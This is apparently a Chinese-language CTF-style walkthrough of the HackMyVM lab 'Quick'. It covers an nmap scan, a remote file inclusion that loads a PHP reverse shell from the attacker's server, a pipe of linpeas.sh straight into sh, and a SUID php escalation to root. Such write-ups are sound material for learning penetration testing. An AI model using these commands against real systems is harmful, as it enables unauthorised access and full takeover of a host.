HMV Quick
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
IP=192.168.0.189



nmap -sV -T5 -Pn -p- $IP
# -sV Probe open ports to determine service/version info , # 识别服务/版本
# -T5 Set timing template (higher is faster) # 5是最快的了
# -Pn Treat all hosts as online -- skip host discovery # 不进行主机发现
# -p- Scan all ports # 扫描所有端口

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 09:48 HKT
Nmap scan report for 192.168.0.189
Host is up (0.020s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.18 seconds


看到了一个80端口,是一个Apache服务。
点开后,随便点点链接,发现了 url 是这样的:
http://192.168.0.189/index.php?page=home

尝试入侵

这里可能存在 LFI 漏洞。尝试几次,应该是以 php 结尾的参数。
直接用 baidu 试一试:
http://192.168.0.189/index.php?page=http://baidu.com/index
果然,包含了 baidu 的首页。

接下来,用 Python 在 kali 的 reverse shell目录上启动一个 httpserver

1
2
cd /usr/share/webshells/php
python3 -m http.server 80

准备好 pwn-cat :
pwncat-cs -l 0.0.0.0:1234

然后,尝试 LFI 读取 reverse shell:

http://192.168.0.189/index.php?page=http://192.168.0.30/php-reverse-shell

反弹 shell 成功.

提权

查看下 /etc/passwd,应该是用
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
这个用户。
flag可以看: /home/andrew/user.txt

PEASS

1
2
curl -L https://mirror.ghproxy.com/https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

看到应该存在 SUID 权限的文件。

1
2
3
find / -perm -4000 2>/dev/null

/usr/bin/php7.0

查下 https://gtfobins.github.io/gtfobins/php/#suid 有一个现成的提权方法。

1
/usr/bin/php7.0 -r 'pcntl_exec("/bin/sh", ["-p"]);'

拿到 root shell,可以看到 /root/root.txt

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量